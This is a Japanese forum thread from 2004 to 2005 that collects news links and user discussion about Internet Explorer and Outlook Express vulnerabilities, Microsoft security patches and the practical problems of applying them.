ttp://www.st.ryukoku.ac.jp/~kjm/security/memo/2004/05.html#20040511_ph
Opera7.23jaでは、釣られなかった。
http://www.st.ryukoku.ac.jp/~kjm/test/deep-sea-phishing.html

IEやOEの脆弱性を悪用し、リンクをクリックするだけで感染するウイルス
〜件名が「Re:」で本文に「yahoo.com」のリンクがある場合は要注意
http://internet.watch.impress.co.jp/cda/news/2004/05/12/3068.html

月例パッチの裏で取り残されたIE／Outlookの問題
http://www.itmedia.co.jp/enterprise/0405/12/epn08.html
マイクロソフトは5月12日、Windowsの月例パッチを公開したが、
一方でいまだ修正にいたらないIEおよびOutlook製品の複数の
セキュリティホールが報告されている。

Outlook 2003に危険度「中」の脆弱性
http://www.itmedia.co.jp/enterprise/0405/19/epc03.html

>>714
乙

>>708
脆弱性に対応した「Eudora 6.1.1」リリース
http://www.itmedia.co.jp/enterprise/0405/20/epc09.html

Microsoft Internet Explorer ImageMap URL Spoof Vulnerability
http://www.kurczaba.com/securityadvisories/0405132.htm
http://www.st.ryukoku.ac.jp/~kjm/security/ml-archive/bugtraq/2004.05/msg00206.html

Internet Explorer Local Resource Access and Cross-Zone Scripting Vulnerabilities
http://secunia.com/advisories/11793/

IEにパッチ未公開のセキュリティ・ホール，悪用するWebサイトが既に存在
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040609/145590/

IE6に任意のコードが実行可能な脆弱性、すでに悪用法が公開されている
〜6月の月例パッチでは、修正プログラムが提供されず
http://internet.watch.impress.co.jp/cda/news/2004/06/09/3420.html

JustSystem　Shurikenマンセー
独自ブラウザエンジンマンセー

IE に重大な脆弱性、MS は月例スケジュール外でも対応を検討
http://japan.internet.com/webtech/20040611/12.html

IEを悩ませる「4件」の脆弱性
http://www.itmedia.co.jp/enterprise/articles/0406/12/news009.html

IEやMozillaにアドレス・バーを偽装されるセキュリティ・ホール
IEではセキュリティ設定を回避される恐れあり
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040614/145800/

【新型ブラクラ】IE及び２ｃｈブラウザも注意！
http://qb5.2ch.net/test/read.cgi/operate/1087907963/l50

またもやOperaにアドレス・バーを偽装されるセキュリティ・ホール
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040622/146233/

IEの印刷機能にバグ，特定ページを印刷すると大量の印刷物が出力される
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040623/146295/

>>726
大量とは500枚以上らしい
IEでページを印刷する際、意図せずに500枚以上印刷してしまう不具合
http://internet.watch.impress.co.jp/cda/news/2004/06/24/3627.html

ウェブサイトにアクセスしただけで感染――IEユーザーに警告
http://www.itmedia.co.jp/enterprise/articles/0406/25/news051.html

一番良いのはIEもOEも使わないことなんだが…。
>>1の「建設的に」ってのは、「それを言うな」って意味なんだろうね？

んじゃ、勝手にすれば？

>>729
2年以上前の>>1に今更レスすることは全く建設的ではありませんね。

ﾜﾛﾀ

IIS/IEを攻撃するDownload.Jectに関与したロシアのWebサイトが閉鎖に
http://itpro.nikkeibp.co.jp/free/NT/NEWS/20040629/4/
IEのライバルにチャンス到来――脚光浴びるブラウザセキュリティ
http://www.itmedia.co.jp/enterprise/articles/0406/29/news030.html

IEにセキュリティ・ホール，フレーム中に任意のコンテンツを表示させられる
有名企業のWebページに偽ページを埋め込むことが可能に
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040630/146625/

>>733
（(；ﾟДﾟ)ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

おかげさまでIE（含OE）は何でもありのブラウザまで進化しました。
この状況を希望しない方はFirefox若しくはOperaをご使用下さい。

( ﾟДﾟ)＜ﾎﾟｶｰﾝ

フレーム詐称の問題はIE以外のWebブラウザにも
http://www.itmedia.co.jp/enterprise/articles/0407/02/news015.html
Windows版のIE5.01／5.5／6に、フレームを悪用してWebサイトの偽装が可能な問題
が指摘されたが、Opera、Mozillaなど他のWebブラウザにも同様の問題が存在するこ
とが明らかになった。

これってIE3/4で一度は修正された穴でしょ。
どいつもこいつも三歩歩いたら忘れる学習能力ゼロの鳥頭ですか?

Download.Ject に関する情報
http://www.microsoft.com/japan/security/incident/download_ject.mspx
公開日: 2004年06月25日 | 更新日: 2004年07月03日 2:00

>>739
そこTechNetセキュリティにリンクがない＿|￣|○

これからは↓にしろってことか
http://www.microsoft.com/japan/security/default.mspx

と思ったらTechNetの一番上にはリンクあるのね

IEの“攻撃回避プログラム”は万全ではない，回避できない攻撃手法が公開されている
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040705/146831/

IE の脆弱性、いまだ存在との指摘
http://japan.internet.com/webtech/20040708/12.html

>>741と同じ内容ですね

OutlookとWordの組み合わせにセキュリティ・ホール，メール転送で任意のコードを実行させられる
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040712/147134/

IEコンポーネントではないが、使用者多そうなので。。。-

もう良いよ。疲れたよ。
非IE系ブラウザに乗り換えます。

IEに巨大なテキストファイルを表示するとクラッシュする脆弱性
http://internet.watch.impress.co.jp/cda/news/2004/07/13/3880.html

Outlook Express 用の累積的なセキュリティ更新プログラム (823353) (MS04-018)
http://www.microsoft.com/japan/technet/security/bulletin/ms04-018.asp

Outlook Explorer 6って…

「ポップアップ・ウインドウで画面表示を偽装できる」
――IEでファイルをダウンロードするときには注意
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040713/147187/

IEにパッチ未公開のセキュリティ・ホールが続出
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040714/147214/

》749
自動的にMozilla♪

》？？？？？？？？？？？？

OperaやMozillaのセキュリティ・ホール
http://itpro.nikkeibp.co.jp/free/ITPro/Security/20040728/147862/

セキュリティ・ホール

人間が作っているんだもんそんなの当たり前。
きっと完璧なコンピューターでロジックのあら捜ししたら、今見つかっている
5倍は見つかると思うよ。

===緊急===
MS04-025 - Internet Explorer 用の累積的なセキュリティ更新プログラム (867801)
http://go.microsoft.com/?linkid=771783
概要
リモートでコードが実行される可能性のある Internet Explorer の脆弱性を
修正するセキュリティ更新プログラムが公開されました。

「IEのセキュリティ・ホールは危険，公開されていない攻撃手法が存在する」――ラック
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040802/148057/

>>753
完璧なコンピューターって、なんじゃ？

またもやIEにアドレス・バーを偽装できるセキュリティ・ホール
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040817/148670/

もう何度目？　IEのアドレスバー偽装問題、再び
http://www.itmedia.co.jp/enterprise/articles/0408/17/news061.html

Operaだって1ヶ月に4回アドレスバー偽装が発見されたりしたじゃん

テスト結果
Internet Explorer v6.00 SP1 (6.00.2800.1106)では再現されました
Mozilla/5.0 Gecko/20040803 Firefox/0.9.3では再現されず

IEにセキュリティ・ホール，危険なファイルをダウンロードさせられる
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040819/148790/

リンク先を偽装する“偽シティバンク”からのメールに注意
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040823/148888/

Outlook Expressに「BCC」のアドレスを表示してしまう不具合
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040825/149044/

IEのドラッグ＆ドロップの脆弱性突いた攻撃が公に？
http://www.itmedia.co.jp/enterprise/articles/0408/26/news075.html?ec20

緊急報告！Windows XP SP2の全貌（第3回）
Internet Explorer/Outlook Express編
http://itpro.nikkeibp.co.jp/members/NT/WinSpecial/20040901/1/
>IEではActiveXコントロールのインストールやスクリプトによるファイルの
>自動ダウンロードなど，5つの事項について警告メッセージを表示するよう
>になっている。OEではHTMLメールの中の外部と張られたリンクなどは，むや
>みに読み込まないようになった。

IEのドラッグ＆ドロップの脆弱性を突くトロイの木馬「Akak」出現
http://www.itmedia.co.jp/enterprise/articles/0409/04/news002.html

===緊急===
MS04-028 - JPEG 処理 (GDI+) のバッファ オーバーランにより、コードが実行される (833987)
http://go.microsoft.com/?linkid=996596
概要 JPEG イメージ形式の処理に脆弱性が存在します。
影響 リモートでコードが実行される
影響を受けるソフトウェア・Windows、Office、Developer、Internet Explorer、他のソフトウェア
詳細な情報は、「影響を受けるソフトウェアおよびダウンロード先」をご確認ください。

XPのSP1だけど、Windows Updateサイトで確認してもMS04-028は出ません。
.NET Framework 1.1 Service Pack 1入れてあるからMS04-028は入れなくて
もいいんだろうか？
とりあえずしばらくは関連情報に注目しときます。

WindowsやIE，Officeなど複数のマイクロソフト製品に「緊急」のセキュリティ・ホール
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040915/149928/
Microsoft Officeにセキュリティ・ホール，WordPerfect文書でバッファ・オーバーフローの危険性
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040915/149927/

IEやMozillaなどにセキュリティ・ホール，なりすましを許す可能性あり
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040921/150222/

WindowsやIEなどのセキュリティホールを突くさらに危険なJPEGファイルが公開
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040924/150333/

セキュリティ・ホールを突くJPEGファイルの“作成ツール”が出回る
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040928/150524/

危険な“JPEGウイルス”出現間近，備えは万全ですか？
http://itpro.nikkeibp.co.jp/free/ITPro/OPINION/20040929/150576/
JPEG処理の脆弱性悪用画像、今度はAIMのプロフィールに
http://www.itmedia.co.jp/enterprise/articles/0409/30/news007.html
WindowsのJPEG処理脆弱性が、さらなる広がりを見せている。
AIMのプロフィールに問題の画像を添付するという手口が登場した模様だ。

初心者で申し訳ないのですが、質問させてください。
OEを使っているのですが、気付いたらアカウントの設定
（”サーバー”タブ内のSMTP欄）がいつのまにかlocal hostに変わっていました。
前はISPのSMTPサーバー名を入れてあったのに・・・。

これってどうしてでしょうか？

アンチウィルスソフトがメーラーを監視するためにlocalhostにして
中継している場合もあるよ。

>>775
有難うございます。
安心しました。

777get!!

IEでパスワードを含めたURLを使うと，ベーシック認証に失敗にする場合あり
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20041004/150753/

広がるJPEG GDI+攻撃についての続報
http://itpro.nikkeibp.co.jp/free/NT/NEWS/20041004/3/

===緊急===
MS04-038 - Internet Explorer 用の累積的なセキュリティ更新プログラム
(834707)
http://go.microsoft.com/?linkid=1187917

MS04-038 を適用して何か不具合出た方いらっしゃいます？
調べた限りでは

http://support.microsoft.com/default.aspx?scid=kb;ja;888051

以外に特に問題はなさそうなのですが…

MS04-038は、なさそうだね。

IEに2種類のセキュリティ・ホール，組み合わせるとXP SP2も影響を受ける
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20041021/151548/

10月のセキュリティ・ホール，その後
http://itpro.nikkeibp.co.jp/free/ITPro/Security/20041027/151822/

IE 6.0 SP1 において URL を詐称するリンクが作成可能だ、という指摘。
ttp://www.st.ryukoku.ac.jp/~kjm/security/memo/2004/10.html#20041029_URL
http://www.st.ryukoku.ac.jp/~kjm/security/ml-archive/bugtraq/2004.10/msg00345.html

開発者のプライドか、それとも「脆弱性」のネガティブイメージの影響か
ttp://d.hatena.ne.jp/HiromitsuTakagi/20041030#p1

IEのステータス・バーを偽装する手法が複数公開される
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20041101/152016/
>米国時間10月28日以降，セキュリティ関連のメーリング・リストなどで，
>Internet Explorer（IE）のステータス・バーを偽装する手法（セキュ
>リティ・ホール）が複数公開されて議論を呼んだ。アクティブスクリプ
>トを無効にしていても偽装可能なので，IEを「制限付きサイト」ゾーン
>で利用するOutlook ExpressやOutlookといったメール・ソフトも影響
>を受ける。

次から次へと穴が見つかるのは何故？
1.シェアが高くて注目されてるから
2.もともと設計が糞だから
3.…

他のOS用のIE6SP2もリリースすべきヽ(`Д´)ﾉ

>>787
このページの解説がいつも糞なのは、セキュリティソフトのシールドを有効にしていれば、
おそらく実行されるスクリプトコードに既に対応していて、ウィルスと判定してくれて実行などされないので、
全く実害が無いという事である。

みんながセキュリティソフト入れてれば、ね。

>>786
利用規約違反中ってなってる・・・

>>791
なんでも年齢と郵便番号を偽って登録してたそうな。
早く反省し終わって復帰ｷﾎﾞﾝﾇ

偽ってというか、
あんなサービスに正しい個人情報差し出す奴いるのか？

しかしいきなり消すかねえ。

有名サイトなので目をつけられたのか、あからさまに偽と確定できる
住所（「〒123-45 東京都東京市東京町1-1-1」みたいな実在しない
やつ）で登録してたからか。

はてな登録情報の住所追加、正しい情報登録のお願いについて
http://www.hatena.ne.jp/info/address

> 住所をご登録頂いていないユーザー様には、登録情報変更ページに
> て住所をご登録いただくまで、はてなをご利用頂けなくなります

ああ、登録してなかったんだな。たぶん。

そうまでして個人情報吸い上げようとするか。
何か新しい商売はじめるのかね。

>>795
それは来年1月からだろう。
いま見られなくなってるのはTakagiﾀﾝが自粛してプライベートモードにしてるだけだと思われ。

あのやり方だと氏名・住所の正確性は担保されないから、
＞他者の権利侵害などが行われている場合などに、仮名でユーザー登録を頂いている等の理由で書き込みを行った方の特定ができない
という理由は薄弱だよなぁ。

IEに新たなセキュリティ・ホール，WebページやHTMLメールを開くだけで被害を受ける
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20041104/152149/
>デンマークSecuniaなどは11月2日，Internet Explorer（IE）6／6 SP1に
>見つかったセキュリティ・ホールを公表した。細工が施されたHTMLファイル
>（WebページやHTMLメール）を開くだけで，任意のプログラムを実行させ
>られる危険性がある。実際，セキュリティ・ホールを突くHTMLファイルが
>公開されている。IE 6に限らず，IEのコンポーネントを利用するメール・
>ソフトなども影響を受けるので要注意。なお，Windows XP SP2を適用して
>いる場合には影響を受けない。(ry

ホント他のOS用にもIE6SP2出してほしいよ
仕方がないから会社のWin2kでのWebブラウズは
当面Firefox使うことにした

IE6SP2(2K,ME,98用)激しくｷﾎﾞﾝﾇ

NT用ﾓﾅｰ

サード・パーティ製品で強化する「ブラウザ・セキュリティ」
http://itpro.nikkeibp.co.jp/members/NT/WinSecurity/20041025/1/
＞MicrosoftはIEの新版を，単独のソフトウエアとして提供しないと決めた。
＞その理由は，同社がIEをOSの不可分な要素と考えているからである。最新
＞のWindows XP Service Pack 2（SP2）では，OSの基礎となるセキュリティ
＞やIEなど，様々な構成要素に改良を加えた。Microsoftは，Windows 2000
＞とそれ以前のOSに対して，同様の改良品を提供する計画はない。

>801
日経はトラッキングクッキー拒否にしているから見られないや　まあいいか

>>802
/members/のページは、メンバー登録(無料)とcookieの両方必要。

Internet Explorer のセキュリティ上の問題 "クリックとスクロール" からコンピュータを保護する方法
http://support.microsoft.com/default.aspx?scid=kb;ja;888534

IEのパッチ未公開セキュリティ・ホールを突くウイルスが出現
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20041109/152325/

http://www.microsoft.com/japan/technet/security/bulletin/MS04-038.asp
＞影響を受けるコンポーネント :
（ｒｙ
＞Windows XP Service Pack 2 上の Internet Explorer 6
はWinXP-SP2上のIE＝IE6-SP2ってことなんだよな
今まで何でわからなかったんだよｗ＞漏れ　＆　注意つけとけよｗ＞ＭＳ
最初読んだ時無印IE6のことだと思っちまったじゃねーかｗ

漏れはOS違うから↑は関係ないんだけど、やっぱり確認用にWiindowsUpdate（or MBSA）する習慣はつけとかないとダメか・・・

ところでセキュリティサイト・ホームからリンクたどっていっても↓にたどりつけないのも漏れだけ？
http://www.microsoft.com/japan/technet/security/fixedhome.asp?TFrame=false

IEのIFrame欠陥を悪用する2番目のMyDoomが出現
http://www.itmedia.co.jp/enterprise/articles/0411/10/news038.html

>>806
リンクからはみつからないね。
「製品別更新プログラム一覧」でサイト内検索すると見つかるけど。

“巧妙な”フィッシングが出現，ポップアップでアドレス・バーを偽装
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20041110/152412/

IE次期版はLonghornと一緒に出荷，タブ付きブラウジング機能を搭載
http://itpro.nikkeibp.co.jp/free/NT/NEWS/20041117/3/

Microsoft Internet Explorer Two Vulnerabilities
http://secunia.com/advisories/13203/

SP2適用のIE6に画像ダウンロード詐称の脆弱性
http://www.itmedia.co.jp/enterprise/articles/0411/27/news004.html

>>811と同一
IEの「名前を付けて画像を保存」機能にセキュリティ・ホール
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20041126/153135/

マイクロソフト、IE6の「Mshtml.dll」エラーに対する修正プログラムを配布
http://internet.watch.impress.co.jp/cda/news/2004/11/26/5550.html

===緊急===
MS04-040 - Internet Explorer 用の累積的なセキュリティ更新プログラム (889293)
http://go.microsoft.com/?linkid=1576712
概要
リモートでコードが実行される可能性のある Internet Explorer の脆弱性を
修正するセキュリティ更新プログラムが公開されました。

>>814
http://www.microsoft.com/japan/technet/security/bulletin/ms04-040.asp

>>814-815
>重要 : この累積的な更新プログラムは、マイクロソフト セキュリティ情報
>MS04-004http://www.microsoft.com/japan/technet/security/bulletin/ms04-004.asp
>または MS04-038http://www.microsoft.com/japan/technet/security/bulletin/ms04-038.asp
>のリリース以来、リリースされた修正プログラムを含まない場合もあります。
>MS04-004 または MS04-038 のリリース以来、マイクロソフトからまたはサポート プロバイダ
>から修正プログラムを受けたお客様は、この更新プログラムをインストールしないで下さい。
>この累積的な更新プログラムではなく、更新プログラム 889669
>http://www.microsoft.com/isapi/gosupport.asp?TARGET=/default.aspx?scid=kb;ja;889669
>を適用して下さい。
MS04-004 または MS04-038 のリリース以来修正プログラムを受けてなくても、
更新プログラム 889669を適用すれば( ﾟДﾟ)ｳﾏｰなのかな？

>>816
889669はMS04-040を含むロールアップだからいいんじゃない？
http://www.microsoft.com/downloads/details.aspx?displaylang=ja&FamilyID=c74028e2-10c9-4edd-ad0a-36493677bff8


http://www.microsoft.com/japan/technet/security/bulletin/fq04-040.asp
＞MS04-004 以降にリリースされた Internet Explorer 用の修正プログラムは、その修正プログラムにより置き換えられるファイルが
＞このセキュリティ情報の「セキュリティ更新プログラムに関する情報」の欄に記載されている場合、削除されます。
（「累積的なセキュリティ更新プログラム」なんだから↑の「修正プログラム」はセキュリティ修正以外ということでいいんだよね？＞ＡＬＬ）


しかし889293はかなり前のDLLソースにパッチ当てたおかん

ていうか889669じゃないとセキュリティ修正以外のパッチでもトラブル覚悟ですぐ当てるタイプの人には不足（889293でも穴はふさがるけど）
＞更新プログラム 889669 には、セキュリティ更新プログラム 889293 (MS04-040) の提供後に作成された Internet Explorer 用修正プログラムのすべてが含まれています。

>>817-818
ありがとうございます。
889669逝ってみます。

IEのパッチが“緊急公開”，既に悪用されている危険なセキュリティ・ホールをふさぐ
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20041202/153376/

>>816-818
IE のセキュリティ アップデート MS04-040 (KB889293) を適用する際の注意
http://www.updatecorp.co.jp/products/support/updateexpert/uekb/uekb00000291.html

もう訳わからん。
常にこのページのパッチさえ当てとけばおっけ
みたいな分かりやすい形にしてくれ。
ごちゃごちゃ読んでられん。


で、質問なんだけど、
OEってHTML形式で送られてきてもテキスト形式で表示させてる限り無問題？

俺はメールの送信者をアルファベットで表記してるんだけど、
送信者に表示されるのが日本語の名前じゃないと
怖くて開かずに削除してしまう癖があるとおっしゃる方がおられます。
海外からウィルスよく来るので。
常にテキスト形式で表示させておけばいいんじゃないかと思うのだけど。

from
SUZUKI kenji <[email protected]>
を
鈴木賢治 <[email protected]>
にして欲しいらしい。

ヘッダに日本語混ぜたくない。
subjectは妥協してるけど。
いや昔のサーバーとかMUAの問題からじゃなくて単に好みでそうしてるんだけど。

無問題なんて言い切れるのは神様かただの莫迦だよ
だってMSだもの

　　　　　　　　　　　　みつを

>>822
無問題といいきれないが、少なくともテキスト表示にして
標準のブラウザをIE(コンポーネント使用ブラウザ含む)以外のブラウザ(FireFoxとかOperaとか)にしておけば、
かなりリスクは低減できると思う(さらにJavaScriptも無効に)。

そこまでしてOE使うなという意見もあるけど、いろんな事情で使わざるを得ない人もいるだろうから…

OE 使うのはやめとけ

SP2パッチあててFirefox　(Javaスクリプト無効)　導入汁

ファイアーウオールはKerio personal ファイアーウオールでMAXセキュに設定

ルーターは２重で完璧！！（要：ポート設定）

アンチウイルスソフトはノートンかKasperskyA-V導入


これだけで９割不正アクセス＆ウイルスに対して有効

やっぱコンポーネントの問題は逃れられないのか。

んで、さっきIE6を
アンインストール→インストールし直し
したんだけど、
Windows Updateで、なぜか823559だけ何度も表示される。
適用したはずなのに、再起動してもう一度行くとまた表示される。
パッチをダウンロードして保存してから実行してもダメ。
まぁこんなこともよくあるのでしょう・・・が、
ちょっと不安なので、バージョン合ってるか見て下さい。

Ver.6.0.2800.1106
更新バージョン ; SP1 ; Q889293 ; Q837009 ; q313829
（最後のだけなぜかQが小文字）

関係ないけどこのバージョン情報って何とかコピペ出来ないんだろうか。
そもそもなぜ出来ないようにしてあるのだろうか。

書き忘れ
OSは98seです。

>>825
ソフトよりユーザーの知識や意識の方が大事

>>826
このスレは初めてですが、同じ環境なので取り敢えず参考程度になれば・・・
スタート＞プログラム＞アクセサリ＞システムツール＞システム情報
のInternet Explorerを見ると、以下のようになっています。(コピーも出来ます)

バージョン    6.0.2800.1106IS
ビルド    62800.1106
プロダクト ID    *****-***-*******-*****
アプリケーションのパス    C:\Program Files\Internet Explorer
最終インストールの日付    16/07/24 15:56:35
言語    日本語
アクティブなプリンタ    Kyocera Mita KM-2070 KX,KM163097,***.***.*.*:lp
    
暗号強度    128 ビット
コンテンツ アドバイザ    無効
更新バージョン    ;SP1;q313829;Q822925;Q828750;Q824145;Q832894;Q837009;Q831167;Q823353;Q867801;Q833989;Q834707;Q889293;
Java VM バージョン    5.0.3810.0
IEAK インストール    する

IEの更新バージョンに 823559 は見あたりませんが、「Windows Q823559 のアップデート」
というのが、「アプリケーションの追加と削除」にリストアップされています。
これは、システム情報の W98.SE の所でも見られます。

ちなみに、IE5→5.5→6とバージョンアップしてきて、IEをアンインストールしたことはありません。

>>829
有り難う御座います！参考になりました。
そうか、システム情報か・・・

> バージョン 6.0.2800.1106IS
このISってのが謎です。
↓うちのはこんな感じです。

バージョン6.0.2800.1106
ビルド62800.1106
アプリケーションのパスC:\Program Files\Internet Explorer
最終インストールの日付04/12/08 13:32:51
言語日本語
暗号強度128 ビット
コンテンツ アドバイザ無効
更新バージョン;SP1;Q889293;Q837009;q313829;
Java VM バージョン5.0.3810.0
IEAK インストールしない

IEやFirefoxなどにポップアップ・ウインドウを“乗っ取られる”セキュリティ・ホール
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20041208/153638/

>>831
そこの
>Secuniaでは「信頼できるサイトを閲覧しているときには，信頼できないサイトを閲覧しない
>（Do not browse untrusted sites while browsing trusted sites）」ことを対策として挙げている。

の意味がいまいち分からんけど、やっぱ漏れが頭が悪いからかな？

>>832
作成者が分かってるサイトと一緒に、誰が作ってるのか分からないような変なサイト見るなって事。

「IEでしか読めないページ，Windowsでしか使えないシステムは不適」，経産省が調達ガイドライン作成へ
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20041210/153722/

Outlook Express 6 Sevice Pack 1 の累積的な更新プログラム（KB887797)
なるものがWindowsUpdateに来ている。詳細不明。

× Sevice Pack 1
○ Service Pack 1
逝ってきます…

>>836
ああ、835だった。834氏ｽﾏｿ本当に逝ってきます。

KB887797は、Knowledge Baseもまだ用意されてないね。
しばらく様子見。

http://www.microsoft.com/downloads/results.aspx?productID=&freetext=KB887797&DisplayLang=en
Knowledge Base Article
http://go.microsoft.com/fwlink/?LinkId=38306　(これから用意するつもりらしい）

>>838
http://www.microsoft.com/downloads/details.aspx?FamilyID=785c35bb-0f03-4f2d-9e1c-66c9934b4610&DisplayLang=en
＞Supported Operating Systems: Windows XP Service Pack 2


「まさかSP2でエンバグﾞしちゃったわけないよね？なにしろ名前にセキュリティ強化機能搭載ってつけたぐらいだし。」
嫌味ったらしく小１時間（ｒｙしたい＞MS

Outlook Express 6 Service Pack 1 用の累積的な更新プログラム (KB887797)
このセキュリティに関連しない更新プログラムによって、Outlook Express のさまざまな問題が解決されます。

デスクトップに ~ というファイルが作成されるのが無くなったかも。

KB887797ぐぐっても昨日は0件だったが、今日は684件になってる(・∀・)
でも、めぼしい情報はなさげ（;´Д｀）

>>841
http://www.microsoft.com/downloads/results.aspx?freetext=887797&productID=&DisplayEnglishAlso=on&DisplayLang=ja
OE SP2は「Windows XP 用 Outlook Express」と言い張ることになったらしいｗ
てことはIE SP2も日本語情報では「Windows XP 用 Internet Explorer」になるのかな
ある意味正しいしわかりやすくて(・∀・)ｲｲ!!けど

887797は↓の修正パッチがWindowsUpdateにも北ということでいい？>ALL
http://support.microsoft.com/default.aspx?scid=kb;ja;843555
oO（なんで今？）

>>842
そだね。http://support.microsoft.com/default.aspx?scid=kb;ja;843555の修正だね。
やっとhttp://support.microsoft.com/kb/887797が公開された。

KB887797適用上の注意点は、
＞ノート この最新版がウインドウズ・アッデート・ウェブサイト上であなたに利用可能になる前に、
＞次のマイクロソフト知識基礎記事に記述される最新版をインストールしなければなりません。
＞823353 MS04-018:アウトルック・エキスプレスのための累積的なセキュリティ最新版
＞http://support.microsoft.com/kb/823353

>>842-843
Outlook Expressに「BCC」を表示する新たな不具合，MSはパッチを公開
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20041216/153984/
>米Microsoftは米国時間12月16日，同社のメール・ソフト「Outlook Express」に
>見つかった不具合を公表した。メールの送信者が「BCC（Blind Carbon Copy）」
>欄に記入したアドレスを，受信者すべてに見られる可能性がある。同様の不具合は
>2004年8月に見つかっているhttp://support.microsoft.com/kb/843555が，
>今回公表されたのは別の不具合である（関連記事http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040825/149044/）。
>同社では，この不具合を修正するための更新プログラム（パッチ）を公開した。
>同パッチを適用すれば，2004年8月の不具合を含む，いくつかの不具合も修正できる。

>>844
別のなんだー





ところで日本語KBで機械翻訳のやつはいつも決まり文句も変だよね
翻訳エンジンにお約束用語は入ってないのかと（ｒｙ
結局わかんないところは英語情報見るっちゅーねん

IEにクロスサイト・スクリプティング攻撃を許すぜい弱性，ページ偽装やCookie盗難の危険
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20041217/154040/

>844
分割送信時のみの危険ということだな。分割送信のチェックだけまずは
チェックオフを確認して、IEのSP待つとしよう。

>>847
残念
＞今回の不具合は，メールを分割しなくてもBCCのアドレスを本文中に表示してしまうというもの。







しかしSP2になっても相変わらずグダグダだｗ
>>846＆http://pc5.2ch.net/test/read.cgi/sec/1060956936/754

>848
ああ読み違えた。ありがと。当てました。

不具合をこっそりと直して知らん振りを決め込むのは、企業として何処でもやっている当たり前の行為だ。
大企業としてまず率先して情報公開に貢献してもらいたいものだ。

Microsoftはかなり貢献してると思うけど。マジで

IEにフィッシングの危険――ActiveXに問題
Microsoftは、複数のセキュリティ関連企業から指摘された、
Internet Explorer 6の脆弱性について、調査を進めていると明らかにした。
http://www.itmedia.co.jp/enterprise/articles/0412/20/news009.html

(´-`).｡oO(信頼できるサイトを除いて、Internet Explorerで閲覧しないことだね…)

[Full-Disclosure] Internet Explorer FTP client can be used to send mail
http://lists.netsys.com/pipermail/full-disclosure/2004-December/030229.html

安全という嘘をつくにはさらに嘘をつかねばならない。

独占企業と訴えられないようにAppleを生かしておかねばならない。

Microsoft Internet Explorer XP SP2 Fully Automated Remote Compromise
http://freehost07.websamba.com/greyhats/sp2rc-analysis.htm

俺自身の脆弱性が問題だ

>>856
何でもクリックしてしまう悲しい性とか？

正解。

┐(´ー｀)┌

IEのFTP機能にセキュリティ・ホール，任意のファイルをダウンロードさせられる
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20050105/154424/
http://secunia.com/advisories/13704/

>>860
IE6SP1以前はもうだめかなぁ

XP-SP2に汁（なかったらXPまともに動くPC買え）ってことか・・・

HTML ヘルプの脆弱性により、コードが実行される (890175) (MS05-001)
http://www.microsoft.com/japan/technet/security/bulletin/ms05-001.asp
カーソルおよびアイコンのフォーマットの処理の脆弱性により、リモートでコードが実行される (891711) (MS05-002)
http://www.microsoft.com/japan/technet/security/bulletin/ms05-002.asp
インデックス サービスの脆弱性により、コードが実行される (871250) (MS05-003)
http://www.microsoft.com/japan/technet/security/bulletin/ms05-003.asp

Windowsの修正パッチが3件公開，既知の危険なセキュリティ・ホールをふさぐ
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20050112/154606/
1月のWindowsアップデート、HTMLヘルプの脆弱性などに対処
http://www.itmedia.co.jp/enterprise/articles/0501/12/news007.html
マイクロソフト、「緊急」レベルのWindowsパッチをリリースへ
http://japan.cnet.com/news/sec/story/0,2000050480,20079963,00.htm
------------------------------------------------------------------
IE 6の脆弱性、最高レベルの深刻度に--セキュリティ対策企業が評価引き上げ
http://japan.cnet.com/news/sec/story/0,2000050480,20079962,00.htm

IEのパッチ未公開セキュリティ・ホールを再警告，デモ・ページも公開
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20050111/154582/